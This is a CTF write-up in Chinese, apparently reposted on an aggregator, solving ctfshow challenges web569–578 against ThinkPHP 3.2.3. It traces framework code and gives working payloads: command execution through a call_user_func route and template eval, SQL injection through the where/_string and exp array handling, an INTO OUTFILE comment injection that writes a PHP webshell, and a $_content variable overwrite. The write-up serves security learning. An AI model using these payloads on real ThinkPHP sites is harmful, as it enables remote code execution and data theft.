ctfshow ThinkPHP篇—3.2.3(569-578)

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow ThinkPHP篇—3.2.3(569-578)相关的知识,希望对你有一定的参考价值。

web569

相关内容

参考thinkphp手册

为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。

PATHINFO模式
http://localhost/index.php/Home/Index/index/name/123/
普通模式
http://localhost/index.php?m=Home&c=Index&f=index&name=123
兼容模式
http://localhost/index.php?s=Home/Index/index/name/123
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。
REWRITE模式
http://localhost/Home/Index/index/name/123/

题解

所以我们要访问Admin模块的Login控制器的ctfshowLogin方法就很简单了
url/index.php/Admin/Login/ctfshowLogin

web570

下载下来题目给的Applicaition文件,在config.php中发现了一条路由规则。

	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
    	call_user_func($f, $a);
    	}
    )

也就是当我们访问url/index.php/ctfshow/xxx/yyy时会执行call_user_func(xxx,yyy)。
因为输入/很困难,所以我们直接执行system(‘ls /’)不太可能,只能换种方法。
payload:
url/index.php/ctfshow/assert/eval($_POST[1])/post: 1=system('cat /f*');

web571

在home模块下的index方法中看到了可控变量n。

那我们来研究下这个show函数,为了方面我们传的参数只留下$n

<?php
namespace Home\\Controller;
use Think\\Controller;
class IndexController extends Controller {
    public function index($n=''){
     $this->show($n);
    }

开启调试,跟进display

跟进fetch

可以看到我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。


所以我们直接传php代码就可以了。
payload:
?n=<?php system('cat /f*');?>

web572

题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以年_月_日.log来命名的。所以我们可以来爆破文件名

bp抓包爆破



可以看到除了我们当天的日期还有一个21_04_05

日志里面传入了php代码,估计后台是写了个一句话木马,密码是showctf。那我们也来试试。
payload:
index.php?showctf=<?php system('cat /f*');?>

web573

内容比较多,单独写了
内容链接

web574

题目给了首页的源码

public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

和我们上题分析的区别就是先进的where又进的find,我们来还是来调试下。
传入?id=1'最终在where函数中只执行了下面标注的部分。也就是
$this->options['where']=array("_string"=>"1'")

前面没什么区别,重点在parseWhere中,此时传入的$where就是我们$this->options['where']的值也就是array("_string"=>"1'")。所以我们会进入下面的if

$key'_string' $valid=1',,所以最终返回的内容是( id=1 ),所以执行的sql语句是select * from xxx where (id=1') limit 1


payload:?id=0) union select 1,flag4s ,3,4 from flags%23(跑表名和列名的步骤省略)

web575

内容比较多,单独写了
内容链接

web576

源码如下

$user = M('Users')->comment($id)->find(intval($id));

因为find的重点id使用了intval,所以前面sql注入的方法无法使用了。那么我们重点看下comment函数
给options的comment赋了值。

前面的步骤就不一一赘述了。我们看下用到comment的地方


当我们传入id=1时最终的sql语句为select * from users where id=1 limit 1 /* 1*/
所以怎么构造就很简单了
payload:
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*

web577

源码如下,与之前相比多了个where

$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();

其主要功能就是把传入的值赋值给了$this->options['where']

现在的options是这样的。

往下一直走到_parseOptions函数,当经过标注的这个for循环后val被赋值了options['where']的值。

好我们继续,来到parseWhere的parseWhereItem

$val是数组时$val[0]赋值给了$exp如果$exp是字符串exp
最后返回的内容是$whereStr .= $key.' '.$val[1];也就是字符串id拼接上$val[1],那么$val是怎么来的呢,我们前面强调了下:_parseOptions函数中,当经过标注的这个for循环后val被赋值了options['where']的值。其实归根结底是赋值的我们传入的id的值。
这下就很明显了。只要我们传入的?id[0]=exp就会进入 $whereStr .= $key.' '.$val[1];
接着我们传入的id[1]=xxx就会被放到sql语句中。

payload:
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23

web578

源码如下,开始调试

public function index($name='',$from='ctfshow'){
	$this->assign($name,$from);
	$this->display('index');
}

第一个函数assign就是一个简单的赋值。就是说如果我们传入?name=a&from=b,那么$this->tVar=array('a'=>'b'); 如果我们传入?name[x]=y,那么$this->tVar=array('x'=>'y');

接着我们来看下display,跟进fetch


可以看到这个地方有个extract函数对$this->tVar进行操作。
假设$this->tVar=array('a'=>'b');那么经过这个函数就会生成$a值为b.
下面重点来了empty($_content)?include $templateFile:eval('?>'.$_content);
$_content不为空时会执行eval函数,这样就能发现了,只要变量覆盖掉$_content就可以执行php代码了
payload:
?name[_content]=<?php system('cat /f*');?>

以上是关于ctfshow ThinkPHP篇—3.2.3(569-578)的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow ThinkPHP篇573

ctfshow ThinkPHP篇575

ctfshow ThinkPHP篇575

ctfshow-SSRF篇

CTFSHOW 常用姿势篇(811-820)

CTFSHOW 常用姿势篇(811-820)